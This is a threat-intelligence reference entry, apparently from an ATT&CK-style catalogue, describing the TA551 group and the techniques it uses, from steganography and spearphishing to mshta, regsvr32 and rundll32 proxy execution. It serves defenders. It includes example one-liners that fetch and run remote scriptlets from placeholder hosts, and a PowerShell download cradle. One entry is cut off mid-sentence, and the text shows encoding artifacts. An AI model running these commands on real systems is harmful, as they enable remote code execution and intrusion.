Group TA551

TA551 is a financially-motivated threat group that has been active since at least 2018. The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns.

List of techniques used :

id	description
T1027.003	Obfuscated Files or Information: Steganography Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. Duqu was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server. By the end of 2017, a threat group usedâ¯Invoke-PSImageâ¯to hide PowerShell commands in an image file (.png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.
T1027.010	Obfuscated Files or Information: Command Obfuscation Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter. For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality. Many languages support built-in obfuscation in the form of base64 or URL encoding. Adversaries may also manually implement command obfuscation via string splitting (`“Wor”+“d.Application”`), order and casing of characters (`rev
T1036	Masquerading Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.
T1059.003	Command and Scripting Interpreter: Windows Command Shell Adversaries may abuse the Windows command shell for execution. The Windows command shell (cmd) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via Remote Services such as SSH. Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. Adversaries may leverage cmd to execute various commands and payloads. Common uses include cmd to execute a single command, or abusing cmd interactively with input and output forwarded over a command and control channel.
T1071.001	Application Layer Protocol: Web Protocols Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. Protocols such as HTTP/S and WebSocket that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.
T1105	Ingress Tool Transfer Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp. Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer). On Windows, adversaries may use various utilities to download tools, such as `copy`, `finger`, certutil, and PowerShell commands such as IEX(New-Object Net.WebClient).downloadString() and Invoke-WebRequest. On Linux and macOS systems, a variety of utilities also exist, such as `curl`, `scp`, `sftp`, `tftp`, `rsync`, `finger`, and `wget`. Adversaries may also abuse installers and package managers, such as `yum` or `winget`, to download tools to victim hosts. Adversaries have also abused file application features, such as the Windows `search-ms` protocol handler, to deliver malicious files to victims through remote file searches invoked by User Execution (typically after interacting with Phishing lures). Files can also be transferred using various Web Services as well as native or otherwise present tools on the victim system. In some cases, adversaries may be able to leverage services that sync between a web-based and an on-premises client, such as Dropbox or OneDrive, to transfer files onto victim systems. For example, by compromising a cloud account and logging into the service's web portal, an adversary may be able to trigger an automatic syncing process that transfers the file onto the victim's machine.
T1132.001	Data Encoding: Standard Encoding Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. Some data encoding systems may also result in data compression, such as gzip.
T1204.002	User Execution: Malicious File An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
T1218.005	System Binary Proxy Execution: Mshta Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")")) They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.
T1218.010	System Binary Proxy Execution: Regsvr32 Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. The Regsvr32.exe binary may also be signed by Microsoft. Malicious usage of Regsvr32.exe may avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of allowlists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe can also be used to specifically bypass application control using functionality to load COM scriptlets to execute DLLs under user permissions. Since Regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. This variation of the technique is often referred to as a "Squiblydoo" and has been used in campaigns targeting governments. Regsvr32.exe can also be leveraged to register a COM Object used to establish persistence via Component Object Model Hijacking.
T1218.011	System Binary Proxy Execution: Rundll32 Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {DLLname, DLLfunction}). Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones. DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1). Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.
T1566.001	Phishing: Spearphishing Attachment Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
T1568.002	Dynamic Resolution: Domain Generation Algorithms Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions. DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders. Adversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.
T1589.002	Gather Victim Identity Information: Email Addresses Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Email addresses could also be enumerated via more active means (i.e. Active Scanning), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system. For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Email Accounts), and/or initial access (ex: Phishing or Brute Force via External Remote Services).